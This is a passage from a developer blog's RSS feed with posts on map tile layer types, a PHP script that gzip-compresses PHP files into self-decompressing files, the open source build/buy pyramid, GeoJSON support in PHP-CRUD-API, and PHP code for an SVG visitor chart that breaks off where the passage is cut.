is an expensive task, while displaying them is quite cheap. These images are
often cached for long times on web servers all over the globe. Since the maps
are images, there is no way to interact with them or select map features. This
makes raster tiles good for high detail, but non-interactive and static map
layers. A typical use case is a base map layer, that serves as a reference for a
more specific or thematic map layer.</p>
<h3 id="2-mapbox-vector-tile-layer">2) Mapbox vector tile layer</h3>
<p>Mapbox vector tiles (the de-facto standard for vector tiles) is a binary format
(like raster tiles) that can hold many map layers (like raster tiles) and is
expressed in screen coordinates (like raster tiles). Unlike raster tiles it
holds a set of vectors (geometries) and not a bitmap. Vector tiles hold
identifying information on each shapes it draws on the screen for a map layer.
This means you can click on an object to learn more about it. Note that the
object may be partial due to clipping of the bounding box. A typical use case
for vector tiles are sets of thematic maps that do not change too often.</p>
<h3 id="3-geojson-vector-tile-layer">3) GeoJSON vector tile layer</h3>
<p>GeoJSON vector tiles are JSON documents (a text format) with geospatial
coordinates that hold all full geometries (without clipping) that are located
fully or partially within the bounding box of that tile. This means that a
geometry that lies on the border of two tiles is represented fully in both the
tiles. This means that you need to take care not to draw this geometry twice or
remove it from the screen too early (when a tile is no longer visible). Since
these shapes are sent the way they are stored they can be served directly from
the database as a result from a bounding box query. A typical use case for this
kind of tile is a real-time map layer that may not be cached longer than several
minutes.</p>
<h3 id="4-geojson-bounding-box-layer">4) GeoJSON bounding box layer</h3>
<p>A GeoJSON bounding box is no tiling technology. This means it has the described
downside of not being able to cache effectively. The GeoJSON document holds all
full geometries (without clipping) that are located fully or partially in the
visible area of the map. Other than that is it the same technology as GeoJSON
tiles. Since the resulting shapes are sent the way they are stored (using
geospatial coordinates) they can be served directly from the database as a
result from a single bounding box query. A typical use case for this kind of
technology is a true real-time map layer where the information on the map must
be actual and may not be cached.</p>
<h3 id="geojson-vector-tile-plugin">GeoJSON vector tile plugin</h3>
<p>I&rsquo;m building <a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a>, a
full-featured (geospatial enabled) API in a single PHP file. The API can produce
GeoJSON for a specific bounding box or a vector tile (specified in z,y,x
coordinates). To showcase this functionality I have created a leaflet plugin for
GeoJSON bounding box and GeoJSON vector tile layers. This allows you to quickly
set up a map with a real-time or almost real-time map layer using Leaflet and
PHP-CRUD-API. The source code can be found on Github:</p>
<p><a href="https://github.com/mevdschee/php-crud-api/tree/master/examples/clients/leaflet">https://github.com/mevdschee/php-crud-api/tree/master/examples/clients/leaflet</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Lossless compression of PHP files</title>
      <link>https://www.tqdev.com/2019-lossless-compression-of-php-files/</link>
      <pubDate>Fri, 19 Jul 2019 08:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-lossless-compression-of-php-files/</guid>
      <description>&lt;p&gt;How small can a PHP file get? I was wondering this, while building
&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt;, a full-featured API
in a single PHP file. PHP has a really nice feature called &amp;lsquo;halt_compiler&amp;rsquo;,
which allows you to have gzip contents in your PHP file. In the code below I&amp;rsquo;m
applying that technique to PHP code. This allows you to reduce the size of a PHP
file without losing any of it&amp;rsquo;s functionality.&lt;/p&gt;
&lt;h3 id=&#34;why-would-you-do-this&#34;&gt;Why would you do this?&lt;/h3&gt;
&lt;p&gt;The file gets smaller, but executing it will be slower as it is need to be
uncompressed before it can be executed. I also think the opcode cache may have
more trouble optimizing your code when you uncompress it on-the-fly. Despite
these downsides, some people use similar techniques for obfuscating the source
code they publish. So I guess you could use this script to prevent people from
easily reading your source code. I have not found any other (good) use case
(yet).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>How small can a PHP file get? I was wondering this, while building
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a>, a full-featured API
in a single PHP file. PHP has a really nice feature called &lsquo;halt_compiler&rsquo;,
which allows you to have gzip contents in your PHP file. In the code below I&rsquo;m
applying that technique to PHP code. This allows you to reduce the size of a PHP
file without losing any of it&rsquo;s functionality.</p>
<h3 id="why-would-you-do-this">Why would you do this?</h3>
<p>The file gets smaller, but executing it will be slower as it is need to be
uncompressed before it can be executed. I also think the opcode cache may have
more trouble optimizing your code when you uncompress it on-the-fly. Despite
these downsides, some people use similar techniques for obfuscating the source
code they publish. So I guess you could use this script to prevent people from
easily reading your source code. I have not found any other (good) use case
(yet).</p>
<h3 id="how-it-works">How it works</h3>
<p>The PHP code contains a &lsquo;<code>halt_compiler</code>&rsquo; statement. This is the separator
between the code and the data part of the file. The code part is able to read
the data (from it&rsquo;s own file) using the &lsquo;<code>__FILE__</code>&rsquo; constant. This is possible,
because there is convenient &lsquo;<code>__COMPILER_HALT_OFFSET__</code>&rsquo; constant which
indicated the position in the file where the &lsquo;<code>halt_compiler</code>&rsquo; statement is
located.</p>
<p>The data part of the file is actually the gzipped original PHP source code. The
code part is responsible for uncompressing and executing it. To execute the code
it gets written to a temporary file and then executed using an &lsquo;<code>include</code>&rsquo;
statement. This method is more robust than calling &lsquo;<code>eval</code>&rsquo; in terms of error
handling and it also means that we don&rsquo;t have to make any changes to the code
(such as stripping PHP open/close tags).</p>
<h3 id="how-to-use-it">How to use it</h3>
<p>Copy the code below to a file called &lsquo;<code>compress.php</code>&rsquo; and then on the command
line run it like this:</p>
<pre><code>$ php compress.php api.php 
compressed 'api.php' from 259 to 41 kbyte (16%)
</code></pre>
<p>As you can see compressing &lsquo;<code>api.php</code>&rsquo; reduces it&rsquo;s file size to 16% of the
original, which is typical for PHP code and the &lsquo;<code>deflate</code>&rsquo; algorithm. And now
run it again:</p>
<pre><code>$ php compress.php api.php 
uncompressed 'api.php' from 41 to 259 kbyte (624%)
</code></pre>
<p>The script will detect operating on an already compressed file (it looks for the
&lsquo;<code>halt_compiler</code>&rsquo; statement) and will automatically switch to uncompression
mode. Since the compression is lossless you will end up with the exact same file
you started with.</p>
<h3 id="the-code">The code</h3>
<p>It is a small script (less than 40 lines), and it should be easy to copy/paste
and adjust to your needs:</p>
<div style="background: #ffffff; overflow:auto;width:auto;font-size:75%;"><pre style="margin: 0; line-height: 125%"><span style="color: #999999; font-weight: bold">&lt;?php</span>
<span style="font-weight: bold">if</span> (<span style="font-weight: bold">!</span><span style="color: #999999">isset</span>(<span style="color: #008080">$argv</span>[<span style="color: #009999">1</span>])) {
    <span style="font-weight: bold">echo</span> <span style="color: #bb8844">"Usage: php ${</span><span style="color: #008080">argv[0]</span><span style="color: #bb8844">} [filename]\n"</span>;
    <span style="font-weight: bold">exit</span>(<span style="color: #009999">1</span>);
}
<span style="color: #008080">$filename</span> <span style="font-weight: bold">=</span> <span style="color: #008080">$argv</span>[<span style="color: #009999">1</span>];
<span style="font-weight: bold">if</span> (<span style="font-weight: bold">!</span><span style="color: #999999">file_exists</span>(<span style="color: #008080">$filename</span>)) {
    <span style="font-weight: bold">echo</span> <span style="color: #bb8844">"ERROR: file '$filename' not found\n"</span>;
    <span style="font-weight: bold">exit</span>(<span style="color: #009999">1</span>);
}
<span style="color: #008080">$content</span> <span style="font-weight: bold">=</span> <span style="color: #999999">file_get_contents</span>(<span style="color: #008080">$filename</span>);
<span style="color: #008080">$before</span> <span style="font-weight: bold">=</span> <span style="color: #999999">strlen</span>(<span style="color: #008080">$content</span>);
<span style="font-weight: bold">if</span> (<span style="color: #999999">strpos</span>(<span style="color: #008080">$content</span>, <span style="color: #bb8844">'__halt_compiler();'</span>)) {
    <span style="color: #008080">$action</span> <span style="font-weight: bold">=</span> <span style="color: #bb8844">'uncompressed'</span>;
    <span style="color: #008080">$content</span> <span style="font-weight: bold">=</span> <span style="color: #999999">explode</span>(<span style="color: #bb8844">'__halt_compiler();'</span>, <span style="color: #008080">$content</span>)[<span style="color: #009999">1</span>];
    <span style="color: #008080">$content</span> <span style="font-weight: bold">=</span> <span style="color: #999999">gzinflate</span>(<span style="color: #008080">$content</span>);
    <span style="color: #008080">$after</span> <span style="font-weight: bold">=</span> <span style="color: #999999">strlen</span>(<span style="color: #008080">$content</span>);
} <span style="font-weight: bold">else</span> {
    <span style="color: #008080">$action</span> <span style="font-weight: bold">=</span> <span style="color: #bb8844">'compressed'</span>;
    <span style="color: #008080">$content</span> <span style="font-weight: bold">=</span> <span style="color: #999999">gzdeflate</span>(<span style="color: #008080">$content</span>);
    <span style="color: #008080">$start</span> <span style="font-weight: bold">=</span> <span style="color: #bb8844">&lt;&lt;&lt;'EOF'</span>
<span style="color: #bb8844">$f = fopen(__FILE__, 'r');</span>
<span style="color: #bb8844">fseek($f, __COMPILER_HALT_OFFSET__);</span>
<span style="color: #bb8844">$t = tmpfile();</span>
<span style="color: #bb8844">$u = stream_get_meta_data($t)['uri'];</span>
<span style="color: #bb8844">fwrite($t, gzinflate(stream_get_contents($f)));</span>
<span style="color: #bb8844">include($u);</span>
<span style="color: #bb8844">fclose($t);</span>
<span style="color: #bb8844">__halt_compiler();</span>
<span style="color: #bb8844">EOF;</span>
    <span style="color: #008080">$content</span> <span style="font-weight: bold">=</span> <span style="color: #bb8844">'&lt;?php '</span> <span style="font-weight: bold">.</span> <span style="color: #999999">str_replace</span>([<span style="color: #bb8844">' '</span>, <span style="color: #bb8844">"\n"</span>], <span style="color: #bb8844">''</span>, <span style="color: #008080">$start</span>) <span style="font-weight: bold">.</span> <span style="color: #008080">$content</span>;
}
<span style="color: #008080">$after</span> <span style="font-weight: bold">=</span> <span style="color: #999999">strlen</span>(<span style="color: #008080">$content</span>);
<span style="color: #999999">file_put_contents</span>(<span style="color: #008080">$filename</span>, <span style="color: #008080">$content</span>);
<span style="color: #008080">$percentage</span> <span style="font-weight: bold">=</span> (int) ((<span style="color: #008080">$after</span> <span style="font-weight: bold">*</span> <span style="color: #009999">100</span>) <span style="font-weight: bold">/</span> <span style="color: #008080">$before</span>);
<span style="color: #008080">$before</span> <span style="font-weight: bold">=</span> (int) (<span style="color: #008080">$before</span> <span style="font-weight: bold">/</span> <span style="color: #009999">1024</span>);
<span style="color: #008080">$after</span> <span style="font-weight: bold">=</span> (int) (<span style="color: #008080">$after</span> <span style="font-weight: bold">/</span> <span style="color: #009999">1024</span>);
<span style="font-weight: bold">echo</span> <span style="color: #bb8844">"$action '$filename' from $before to $after kbyte ($percentage%)\n"</span>;
</pre></div>
<p>You can also find the code on Github:</p>
<p><a href="https://github.com/mevdschee/compress.php">https://github.com/mevdschee/compress.php</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Open source software pyramid</title>
      <link>https://www.tqdev.com/2019-open-source-software-pyramid/</link>
      <pubDate>Tue, 11 Jun 2019 07:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-open-source-software-pyramid/</guid>
      <description>&lt;p&gt;For us (professional software developers) there are open source libraries and
tools that cover most of what we are doing. Even in commercial projects we can
often leverage these as their licenses are often permissive towards commercial
use. Which raises the question: When do you write your own code? On a
&lt;a href=&#34;https://gds.blog.gov.uk/2012/10/12/coding-in-the-open/&#34;&gt;GDS blog&lt;/a&gt; I ran into
the &amp;ldquo;open source pyramid&amp;rdquo; as
&lt;a href=&#34;https://confusedofcalcutta.com/2007/08/04/build-versus-buy-versus-opensource/&#34;&gt;advocated by JP Rangaswami&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For common problems use Open Source.&lt;/li&gt;
&lt;li&gt;For rare problems use Buy.&lt;/li&gt;
&lt;li&gt;For unique problems use Build.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is a pattern I have often encountered in commercial software companies. I
have seen exceptions to this rule when the software is very important to the
company (for instance part of the strategy or &amp;ldquo;core business&amp;rdquo; of the company).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>For us (professional software developers) there are open source libraries and
tools that cover most of what we are doing. Even in commercial projects we can
often leverage these as their licenses are often permissive towards commercial
use. Which raises the question: When do you write your own code? On a
<a href="https://gds.blog.gov.uk/2012/10/12/coding-in-the-open/">GDS blog</a> I ran into
the &ldquo;open source pyramid&rdquo; as
<a href="https://confusedofcalcutta.com/2007/08/04/build-versus-buy-versus-opensource/">advocated by JP Rangaswami</a>:</p>
<ul>
<li>For common problems use Open Source.</li>
<li>For rare problems use Buy.</li>
<li>For unique problems use Build.</li>
</ul>
<p>This is a pattern I have often encountered in commercial software companies. I
have seen exceptions to this rule when the software is very important to the
company (for instance part of the strategy or &ldquo;core business&rdquo; of the company).</p>
<h3 id="how-about-the-open-source-companies">How about the open source companies?</h3>
<p>When &ldquo;open source&rdquo; is part of the companies strategy then Buy is often not an
option. In such a case the pyramid reads:</p>
<ul>
<li>For common problems use Open Source</li>
<li>For rare problem use Contribute or Fork.</li>
<li>For unique problems use Build.</li>
</ul>
<p>Contributing and forking is an essential part of taking part in the open source
community. Companies that keep tools and changes for open source software to
themselves may do this to protect their intellectual property or just because
publishing takes extra effort. Other companies are creating their own open
source software instead of collaborating in existing successful open source
projects. This behavior is an example of the famous
<a href="https://en.wikipedia.org/wiki/Not_invented_here">&ldquo;Not Invented Here&rdquo; syndrome</a>.</p>
<h3 id="dont-underestimate-building">Don&rsquo;t underestimate building</h3>
<p>The Build strategy is often applied without much consideration for the long term
costs. Although &ldquo;build-your-own&rdquo; often seems faster and cheaper, the truth is
that
<a href="http://blog.lookfar.com/blog/2016/10/21/software-maintenance-understanding-and-estimating-costs/">the majority of the costs of software is spent during it&rsquo;s maintenance</a>,
not during it&rsquo;s creation. And even the costs of creation of software is
<a href="https://en.wikipedia.org/wiki/Software_development_effort_estimation">often underestimated</a>,
especially testing (for performance, security and functionality) and
documentation (for developers and users).</p>
<p>Bottom line: Think twice before starting a new project.</p>
<p>Happy programming!</p>
]]></content:encoded>
    </item>
    <item>
      <title>PHP-CRUD-API gets GeoJSON support</title>
      <link>https://www.tqdev.com/2019-php-crud-api-with-geojson-support/</link>
      <pubDate>Tue, 04 Jun 2019 10:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-php-crud-api-with-geojson-support/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; is an automatic API
script: Upload a single PHP file and get an instant REST API to your PostgreSQL,
MySQL/MariaDB or SQL Server database. Currently support for GeoJSON
FeatureCollection views on tables has been added. The REST API already supported
GIS (Geographic Information System) functionality through WKT (Well Known Text)
formatted output for geometry columns in the database. The GeoJSON support
allows to quickly add a table as a map layer to for instance QGIS.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> is an automatic API
script: Upload a single PHP file and get an instant REST API to your PostgreSQL,
MySQL/MariaDB or SQL Server database. Currently support for GeoJSON
FeatureCollection views on tables has been added. The REST API already supported
GIS (Geographic Information System) functionality through WKT (Well Known Text)
formatted output for geometry columns in the database. The GeoJSON support
allows to quickly add a table as a map layer to for instance QGIS.</p>
<h3 id="add-vector-layer-in-qgis">Add vector layer in QGIS</h3>
<p>To add a GeoJSON vector layer in QGIS you click in the menu on &ldquo;Layer&rdquo;, &ldquo;Add
Layer&rdquo;, &ldquo;Add Vector Layer&hellip;&rdquo;. In the popup window you need to select &ldquo;Protocol&rdquo;
and in the &ldquo;Type&rdquo; drop-down you select &ldquo;GeoJSON&rdquo;. In the &ldquo;URI&rdquo; text box you
enter the request to the API, such as &ldquo;http://localhost:8000/geojson/users&rdquo;. See
below screenshot:</p>
<img src="https://raw.githubusercontent.com/mevdschee/php-crud-api/master/examples/clients/qgis/geojson.png" style="width: 100%">
<p>Note: You can also add parameters, such as &ldquo;join&rdquo; and &ldquo;filter&rdquo;, to the URI to
create more complex queries.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://github.com/mevdschee/php-crud-api#geojson">PHP-CRUD-API README on GeoJSON</a></li>
<li><a href="https://docs.qgis.org/2.18/en/docs/training_manual">QGIS Training Manual</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Celebrating 3 years TQdev</title>
      <link>https://www.tqdev.com/2019-celebrating-3-years-tqdev/</link>
      <pubDate>Thu, 09 May 2019 08:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-celebrating-3-years-tqdev/</guid>
      <description>&lt;p&gt;Today I am celebrating the 3 years that the TQdev.com blog exists. In this
period I have written &lt;a href=&#34;https://tqdev.com/archive&#34;&gt;125 blog posts&lt;/a&gt; on various
software development related topics. Best visited post was the
&amp;ldquo;&lt;a href=&#34;https://tqdev.com/2018-the-boring-software-manifesto&#34;&gt;The &amp;ldquo;Boring Software&amp;rdquo; manifesto&lt;/a&gt;&amp;rdquo;
with more than 33 thousand visitors. Below you find the visitors of the blog per
month.&lt;/p&gt;
&lt;h3 id=&#34;visitors-graph&#34;&gt;Visitors graph&lt;/h3&gt;
&lt;p&gt;The graph below is a (copy of) a server side generated SVG document from the
backend of this blog.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Today I am celebrating the 3 years that the TQdev.com blog exists. In this
period I have written <a href="https://tqdev.com/archive">125 blog posts</a> on various
software development related topics. Best visited post was the
&ldquo;<a href="https://tqdev.com/2018-the-boring-software-manifesto">The &ldquo;Boring Software&rdquo; manifesto</a>&rdquo;
with more than 33 thousand visitors. Below you find the visitors of the blog per
month.</p>
<h3 id="visitors-graph">Visitors graph</h3>
<p>The graph below is a (copy of) a server side generated SVG document from the
backend of this blog.</p>
<p>
  
    <img src="/uploads/2019/celebrating.svg" alt="celebrating" />
  
</p>
<p>NB: Visitors are counted based on the different IP address in the log per day,
e.g. a visitor is defined as a unique IP address on a day.</p>
<h3 id="the-code">The code</h3>
<p>This is the code that generates the above graph:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">verticalBar</span><span class="p">(</span><span class="nv">$values</span><span class="p">,</span> <span class="nv">$height</span><span class="p">,</span> <span class="nv">$title</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">count</span><span class="p">(</span><span class="nv">$values</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$real_max</span> <span class="o">=</span> <span class="nx">max</span><span class="p">(</span><span class="nv">$values</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$real_max</span> <span class="o">=</span> <span class="mi">100</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$max</span> <span class="o">=</span> <span class="nx">pow</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="nx">ceil</span><span class="p">(</span><span class="nx">log10</span><span class="p">(</span><span class="nv">$real_max</span><span class="p">)));</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="nv">$max</span> <span class="o">/</span> <span class="mi">2</span> <span class="o">&gt;</span> <span class="nv">$real_max</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$max</span> <span class="o">/=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$html</span> <span class="o">=</span> <span class="s1">&#39;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; version=&#34;1.1&#34; x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;&#39;</span> <span class="o">.</span> <span class="nv">$height</span> <span class="o">.</span> <span class="s1">&#39;&#34;&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;rect width=&#34;100%&#34; height=&#34;100%&#34; fill=&#34;#eee&#34; style=&#34;stroke:#aaa;stroke-width:2px;&#34;/&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="mi">10</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$top</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">/</span> <span class="mi">10</span> <span class="o">*</span> <span class="nv">$height</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;line x1=&#34;0&#34; y1=&#34;&#39;</span> <span class="o">.</span> <span class="nv">$top</span> <span class="o">.</span> <span class="s1">&#39;&#34; x2=&#34;100%&#34; y2=&#34;&#39;</span> <span class="o">.</span> <span class="nv">$top</span> <span class="o">.</span> <span class="s1">&#39;&#34; style=&#34;stroke:#aaa;&#34; /&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;line x1=&#34;0&#34; y1=&#34;&#39;</span> <span class="o">.</span> <span class="nv">$top</span> <span class="o">.</span> <span class="s1">&#39;&#34; x2=&#34;100%&#34; y2=&#34;&#39;</span> <span class="o">.</span> <span class="nv">$top</span> <span class="o">.</span> <span class="s1">&#39;&#34; style=&#34;stroke:#ccc;&#34; /&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$c</span> <span class="o">=</span> <span class="nx">count</span><span class="p">(</span><span class="nv">$values</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nv">$c</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$values</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=&gt;</span> <span class="nv">$value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$p</span> <span class="o">=</span> <span class="nx">round</span><span class="p">(</span><span class="mi">100</span> <span class="o">*</span> <span class="p">(</span><span class="nv">$value</span> <span class="o">/</span> <span class="nv">$max</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$hover</span> <span class="o">=</span> <span class="nx">is_string</span><span class="p">(</span><span class="nv">$key</span><span class="p">)</span> <span class="o">?</span> <span class="nv">$key</span> <span class="o">.</span> <span class="s1">&#39;: &#39;</span> <span class="o">.</span> <span class="nv">$value</span> <span class="o">:</span> <span class="nv">$value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;g&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$margin</span> <span class="o">=</span> <span class="mf">0.25</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;rect x=&#34;&#39;</span> <span class="o">.</span> <span class="p">((</span><span class="nv">$c</span> <span class="o">-</span> <span class="nv">$i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="mi">100</span> <span class="o">/</span> <span class="nv">$c</span><span class="p">)</span> <span class="o">+</span> <span class="nv">$margin</span><span class="p">)</span> <span class="o">.</span> <span class="s1">&#39;%&#34; y=&#34;&#39;</span> <span class="o">.</span> <span class="p">(</span><span class="mi">100</span> <span class="o">-</span> <span class="nv">$p</span><span class="p">)</span> <span class="o">.</span> <span class="s1">&#39;%&#34; width=&#34;&#39;</span> <span class="o">.</span> <span class="p">(</span><span class="mi">100</span> <span class="o">/</span> <span class="nv">$c</span> <span class="o">-</span> <span class="mi">2</span> <span class="o">*</span> <span class="nv">$margin</span><span class="p">)</span> <span class="o">.</span> <span class="s1">&#39;%&#34; height=&#34;&#39;</span> <span class="o">.</span> <span class="nv">$p</span> <span class="o">.</span> <span class="s1">&#39;%&#34; style=&#34;fill:#bbb&#34;/&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nx">is_string</span><span class="p">(</span><span class="nv">$key</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;text x=&#34;&#39;</span> <span class="o">.</span> <span class="p">((</span><span class="nv">$c</span> <span class="o">-</span> <span class="nv">$i</span> <span class="o">-</span> <span class="o">.</span><span class="mi">5</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="mi">100</span> <span class="o">/</span> <span class="nv">$c</span><span class="p">))</span> <span class="o">.</span> <span class="s1">&#39;%&#34; y=&#34;&#39;</span> <span class="o">.</span> <span class="p">(</span><span class="mi">100</span> <span class="o">-</span> <span class="nv">$p</span><span class="p">)</span> <span class="o">.</span> <span class="s1">&#39;%&#34; style=&#34;writing-mode: sideways-lr;font-size: 75%;dominant-baseline:middle;text-anchor:start;fill:#eee;&#34; transform=&#34;translate(1,4)&#34;&gt;&#39;</span> <span class="o">.</span> <span class="nv">$key</span> <span class="o">.</span> <span class="s1">&#39;&lt;/text&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;title&gt;&#39;</span> <span class="o">.</span> <span class="nv">$hover</span> <span class="o">.</span> <span class="s1">&#39;&lt;/title&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;/g&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$i</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;text x=&#34;50%&#34; y=&#34;0&#34; style=&#34;dominant-baseline:hanging;text-anchor:middle&#34; transform=&#34;translate(0,2)&#34;&gt;&#39;</span> <span class="o">.</span> <span class="nv">$title</span> <span class="o">.</span> <span class="s1">&#39;&lt;/text&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="mi">10</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$top</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">/</span> <span class="mi">10</span> <span class="o">*</span> <span class="nv">$height</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$text</span> <span class="o">=</span> <span class="p">((</span><span class="mi">1</span> <span class="o">-</span> <span class="nv">$i</span> <span class="o">/</span> <span class="mi">10</span><span class="p">)</span> <span class="o">*</span> <span class="nv">$max</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;line x1=&#34;0&#34; y1=&#34;&#39;</span> <span class="o">.</span> <span class="nv">$top</span> <span class="o">.</span> <span class="s1">&#39;&#34; x2=&#34;9&#34; y2=&#34;&#39;</span> <span class="o">.</span> <span class="nv">$top</span> <span class="o">.</span> <span class="s1">&#39;&#34; style=&#34;stroke:#000;&#34; /&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;text x=&#34;0&#34; y=&#34;&#39;</span> <span class="o">.</span> <span class="nv">$top</span> <span class="o">.</span> <span class="s1">&#39;&#34; style=&#34;dominant-baseline:hanging;text-anchor:start&#34; transform=&#34;translate(2,2)&#34;&gt;&#39;</span> <span class="o">.</span> <span class="nv">$text</span> <span class="o">.</span> <span class="s1">&#39;&lt;/text&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
